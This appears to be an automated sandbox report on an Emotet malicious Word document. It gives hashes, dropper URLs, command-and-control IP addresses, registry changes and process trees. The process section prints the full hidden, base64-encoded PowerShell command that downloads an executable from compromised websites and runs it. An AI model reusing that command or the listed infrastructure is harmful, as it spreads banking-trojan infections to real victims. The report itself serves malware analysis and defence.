emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
148s
max time network
161s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-01-14_185510.doc
Size

250KB
MD5

228cffc0272454d377deac86bee717a6
SHA1

9ef5c9570d14dc309ddfecb6d74f35c0dd997ef0
SHA256

0ff576a82dfc83400d71acae121fd206241a5529690fc378942181d1d839f198
SHA512

d6b36fcb24ed75eda08c7c46e49aba6d63a99005e51c8f7a68b4684ffe2e942e99375725b34e95e90e458598dadd6fd7cea58f4062246d5bb9757decb766b55c

Score

10^/10

evasion spyware trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://uat.playquakewith.us/wp-admin/jks/

exe.dropper

http://panganobat.lipi.go.id/calendar/o04/

exe.dropper

http://pbs.onsisdev.info/wp-content/uploads/OBv44RS/

exe.dropper

https://pneuauto.dev.webdoodle.com.au/wp-includes/gTct/

exe.dropper

https://www.innovation4crisis.org/wp-admin/I/

Extracted

Family

emotet

68.172.243.146:80

64.40.250.5:80

81.17.92.70:80

91.250.96.22:8080

37.187.72.193:8080

104.131.44.150:8080

167.71.10.37:8080

37.139.21.175:8080

73.11.153.178:8080

192.241.255.77:8080

91.205.215.66:443

201.229.45.222:8080

46.105.131.87:80

188.0.135.237:80

78.142.114.69:80

64.53.242.181:8080

93.147.141.5:443

101.187.134.207:8080

72.189.57.105:80

190.117.126.169:80

rsa_pubkey.plain

Signatures

Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes:

222.exemorecompon.exe

pid process

1528 222.exe
1684 morecompon.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

pid	process
1528	222.exe
1684	morecompon.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2008	1968	powershell.exe

Blacklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

5 2008 powershell.exe
7 2008 powershell.exe
9 2008 powershell.exe
11 2008 powershell.exe
13 2008 powershell.exe

flow	pid	process
5	2008	powershell.exe
7	2008	powershell.exe
9	2008	powershell.exe
11	2008	powershell.exe
13	2008	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

powershell.exe222.exemorecompon.exe

description	pid	process	target process
PID 2008 wrote to memory of 748	2008	powershell.exe	222.exe
PID 2008 wrote to memory of 748	2008	powershell.exe	222.exe
PID 2008 wrote to memory of 748	2008	powershell.exe	222.exe
PID 2008 wrote to memory of 748	2008	powershell.exe	222.exe
PID 748 wrote to memory of 1528	748	222.exe	222.exe
PID 748 wrote to memory of 1528	748	222.exe	222.exe
PID 748 wrote to memory of 1528	748	222.exe	222.exe
PID 748 wrote to memory of 1528	748	222.exe	222.exe
PID 1476 wrote to memory of 1684	1476	morecompon.exe	morecompon.exe
PID 1476 wrote to memory of 1684	1476	morecompon.exe	morecompon.exe
PID 1476 wrote to memory of 1684	1476	morecompon.exe	morecompon.exe
PID 1476 wrote to memory of 1684	1476	morecompon.exe	morecompon.exe

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

WINWORD.EXE222.exe222.exemorecompon.exemorecompon.exe

pid process

1860 WINWORD.EXE
1860 WINWORD.EXE
748 222.exe
1528 222.exe
1476 morecompon.exe
1684 morecompon.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2008 powershell.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exemorecompon.exe

pid process

2008 powershell.exe
2008 powershell.exe
2008 powershell.exe
1684 morecompon.exe
Executes dropped EXE 4 IoCs

Processes:

222.exe222.exemorecompon.exemorecompon.exe

pid process

748 222.exe
1528 222.exe
1476 morecompon.exe
1684 morecompon.exe

pid	process
1860	WINWORD.EXE
1860	WINWORD.EXE
748	222.exe
1528	222.exe
1476	morecompon.exe
1684	morecompon.exe

description	pid	process
Token: SeDebugPrivilege	2008	powershell.exe

pid	process
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe
1684	morecompon.exe

pid	process
748	222.exe
1528	222.exe
1476	morecompon.exe
1684	morecompon.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{EDF87224-EFC4-4570-93A0-FB067EB8AE77}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EDF87224-EFC4-4570-93A0-FB067EB8AE77}\2.0\0\win32	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EDF87224-EFC4-4570-93A0-FB067EB8AE77}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EDF87224-EFC4-4570-93A0-FB067EB8AE77}\2.0\HELPDIR	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EDF87224-EFC4-4570-93A0-FB067EB8AE77}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{EDF87224-EFC4-4570-93A0-FB067EB8AE77}\2.0\FLAGS\ = "6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EDF87224-EFC4-4570-93A0-FB067EB8AE77}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	WINWORD.EXE

Drops file in System32 directory 3 IoCs

Processes:

powershell.exe222.exemorecompon.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File renamed	C:\Users\Admin\222.exe => C:\Windows\SysWOW64\morecompon.exe	222.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	morecompon.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1860 WINWORD.EXE

pid	process
1860	WINWORD.EXE

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-14_185510.doc"
1⤵
- Suspicious use of SetWindowsHookEx
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
PID:1860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -en JABTAHMAZgB6AGUAeABzAGsAdAB0AHMAZgBpAD0AJwBLAGIAegBsAGYAZgB2AGYAJwA7ACQAVQBuAGoAdgB0AGMAbABiAGYAaQBwACAAPQAgACcAMgAyADIAJwA7ACQATABtAHMAZABwAHcAcgBxAHQAdQA9ACcAWABwAHUAZQBiAHQAcQBxAGwAZwBqACcAOwAkAFkAbAB3AG8AbABuAGkAbgBjAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAbgBqAHYAdABjAGwAYgBmAGkAcAArACcALgBlAHgAZQAnADsAJABKAGQAegBzAHcAbgB6AGIAPQAnAEcAcwBwAGUAdwBuAHIAYwBoAGkAJwA7ACQAVwBxAGoAYQB1AHQAawBuAHgAcwBoAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAHcAZQBiAGMAbABpAEUAbgBUADsAJABTAGsAawBxAGUAYwByAGUAYgB3AGgAcAA9ACcAaAB0AHQAcAA6AC8ALwB1AGEAdAAuAHAAbABhAHkAcQB1AGEAawBlAHcAaQB0AGgALgB1AHMALwB3AHAALQBhAGQAbQBpAG4ALwBqAGsAcwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAbgBnAGEAbgBvAGIAYQB0AC4AbABpAHAAaQAuAGcAbwAuAGkAZAAvAGMAYQBsAGUAbgBkAGEAcgAvAG8AMAA0AC8AKgBoAHQAdABwADoALwAvAHAAYgBzAC4AbwBuAHMAaQBzAGQAZQB2AC4AaQBuAGYAbwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8ATwBCAHYANAA0AFIAUwAvACoAaAB0AHQAcABzADoALwAvAHAAbgBlAHUAYQB1AHQAbwAuAGQAZQB2AC4AdwBlAGIAZABvAG8AZABsAGUALgBjAG8AbQAuAGEAdQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGcAVABjAHQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGkAbgBuAG8AdgBhAHQAaQBvAG4ANABjAHIAaQBzAGkAcwAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8ASQAvACcALgAiAHMAcABsAGAAaQBUACIAKAAnACoAJwApADsAJABWAGsAYQB1AGwAbwBoAGEAPQAnAEIAegBmAHMAcwB4AHcAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQAQwB5AHMAdQBwAHMAcAB0AGYAbgB4ACAAaQBuACAAJABTAGsAawBxAGUAYwByAGUAYgB3AGgAcAApAHsAdAByAHkAewAkAFcAcQBqAGEAdQB0AGsAbgB4AHMAaAAuACIARABvAFcAbgBsAG8AYABBAGAAZABGAGkAYABsAGUAIgAoACQAQwB5AHMAdQBwAHMAcAB0AGYAbgB4ACwAIAAkAFkAbAB3AG8AbABuAGkAbgBjAG0AKQA7ACQARQBlAG8AbQBsAHAAdQBjAHQAZQA9ACcAUQBoAGkAcAByAGMAYgBsAHUAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABZAGwAdwBvAGwAbgBpAG4AYwBtACkALgAiAGwARQBOAGAAZwB0AEgAIgAgAC0AZwBlACAAMwA0ADYANQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAEEAUgBUACIAKAAkAFkAbAB3AG8AbABuAGkAbgBjAG0AKQA7ACQAUQBwAHkAZAB2AHUAZgB6AD0AJwBYAHIAdwBvAGkAdgB0AGYAJwA7AGIAcgBlAGEAawA7ACQAQQB0AGoAeQBrAGMAZgB1AD0AJwBSAGwAeABrAHYAdgByAHIAZwB6AHkAYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABLAHEAcwBkAHQAZwByAG8AbQBlAGQAPQAnAFoAdABzAG8AawB0AG4AawBsACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Modifies system certificate store
- Drops file in System32 directory
PID:2008

C:\Users\Admin\222.exe
"C:\Users\Admin\222.exe"
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:748

C:\Users\Admin\222.exe
--78edad10
3⤵
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Drops file in System32 directory
PID:1528

C:\Windows\SysWOW64\morecompon.exe
"C:\Windows\SysWOW64\morecompon.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:1476

C:\Windows\SysWOW64\morecompon.exe
--8ec64195
2⤵
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Drops file in System32 directory
PID:1684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\222.exe

Download Submit
C:\Users\Admin\222.exe

Download Submit
C:\Users\Admin\222.exe

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1848298919-2336104428-4012071465-1000\0f5007522459c86e95ffcc62f32308f1_cb3421d8-e2c8-4b12-9d02-76148b2a4ecf

Download Submit
C:\Windows\SysWOW64\morecompon.exe

Download Submit
C:\Windows\SysWOW64\morecompon.exe

Download Submit
memory/748-6-0x0000000000290000-0x00000000002A7000-memory.dmp

Filesize
92KB

Download
memory/1476-13-0x0000000000470000-0x0000000000487000-memory.dmp

Filesize
92KB

Download
memory/1528-11-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/1528-10-0x0000000000380000-0x0000000000397000-memory.dmp

Filesize
92KB

Download
memory/1684-15-0x0000000000460000-0x0000000000477000-memory.dmp

Filesize
92KB

Download
memory/1684-16-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/1860-2-0x00000000088B0000-0x00000000088B4000-memory.dmp

Filesize
16KB

Download